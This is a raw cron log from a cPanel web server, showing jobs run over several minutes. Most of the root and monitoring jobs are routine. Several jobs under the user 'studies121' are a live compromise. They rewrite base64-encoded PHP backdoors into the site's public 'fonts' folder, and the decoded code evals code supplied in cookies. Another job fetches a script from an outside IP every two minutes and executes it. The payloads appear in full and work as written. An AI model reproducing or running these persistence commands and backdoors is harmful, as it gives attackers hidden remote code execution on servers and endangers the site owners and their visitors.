Sep  2 18:05:01 ip-184-168-122-23 CROND[24220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:05:01 ip-184-168-122-23 CROND[24217]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:05:01 ip-184-168-122-23 CROND[24218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:05:01 ip-184-168-122-23 CROND[24221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:05:01 ip-184-168-122-23 CROND[24222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:05:01 ip-184-168-122-23 CROND[24223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:06:01 ip-184-168-122-23 CROND[24324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:06:01 ip-184-168-122-23 CROND[24326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:06:01 ip-184-168-122-23 CROND[24327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:06:01 ip-184-168-122-23 CROND[24328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:06:01 ip-184-168-122-23 CROND[24329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:07:01 ip-184-168-122-23 CROND[24422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:07:01 ip-184-168-122-23 CROND[24424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:07:01 ip-184-168-122-23 CROND[24425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:07:01 ip-184-168-122-23 CROND[24426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:08:01 ip-184-168-122-23 CROND[24516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:08:01 ip-184-168-122-23 CROND[24519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:08:01 ip-184-168-122-23 CROND[24518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:08:01 ip-184-168-122-23 CROND[24520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:08:01 ip-184-168-122-23 CROND[24517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:09:01 ip-184-168-122-23 CROND[24625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:09:01 ip-184-168-122-23 CROND[24624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:09:01 ip-184-168-122-23 CROND[24627]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 18:09:01 ip-184-168-122-23 CROND[24629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:09:01 ip-184-168-122-23 CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:10:01 ip-184-168-122-23 CROND[24725]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:10:01 ip-184-168-122-23 CROND[24726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:10:01 ip-184-168-122-23 CROND[24729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:10:01 ip-184-168-122-23 CROND[24731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:10:01 ip-184-168-122-23 CROND[24732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:10:01 ip-184-168-122-23 CROND[24734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:10:01 ip-184-168-122-23 CROND[24735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:10:01 ip-184-168-122-23 CROND[24733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:11:01 ip-184-168-122-23 CROND[24904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:11:01 ip-184-168-122-23 CROND[24906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:11:01 ip-184-168-122-23 CROND[24908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:11:01 ip-184-168-122-23 CROND[24907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:12:01 ip-184-168-122-23 CROND[25001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:12:01 ip-184-168-122-23 CROND[25002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:12:01 ip-184-168-122-23 CROND[25005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:12:01 ip-184-168-122-23 CROND[25007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:12:01 ip-184-168-122-23 CROND[25004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:13:01 ip-184-168-122-23 CROND[25106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:13:01 ip-184-168-122-23 CROND[25105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:13:01 ip-184-168-122-23 CROND[25107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:13:01 ip-184-168-122-23 CROND[25108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:14:01 ip-184-168-122-23 CROND[25197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:14:01 ip-184-168-122-23 CROND[25200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:14:01 ip-184-168-122-23 CROND[25199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:14:01 ip-184-168-122-23 CROND[25201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:14:01 ip-184-168-122-23 CROND[25202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:15:01 ip-184-168-122-23 CROND[25312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:15:01 ip-184-168-122-23 CROND[25318]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 18:15:01 ip-184-168-122-23 CROND[25314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:15:01 ip-184-168-122-23 CROND[25315]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 18:15:01 ip-184-168-122-23 CROND[25316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:15:01 ip-184-168-122-23 CROND[25317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:15:01 ip-184-168-122-23 CROND[25319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:15:01 ip-184-168-122-23 CROND[25320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:16:01 ip-184-168-122-23 CROND[25426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:16:01 ip-184-168-122-23 CROND[25428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:16:01 ip-184-168-122-23 CROND[25429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:16:01 ip-184-168-122-23 CROND[25431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:16:01 ip-184-168-122-23 CROND[25433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:16:01 ip-184-168-122-23 CROND[25435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:17:01 ip-184-168-122-23 CROND[25596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:17:01 ip-184-168-122-23 CROND[25598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
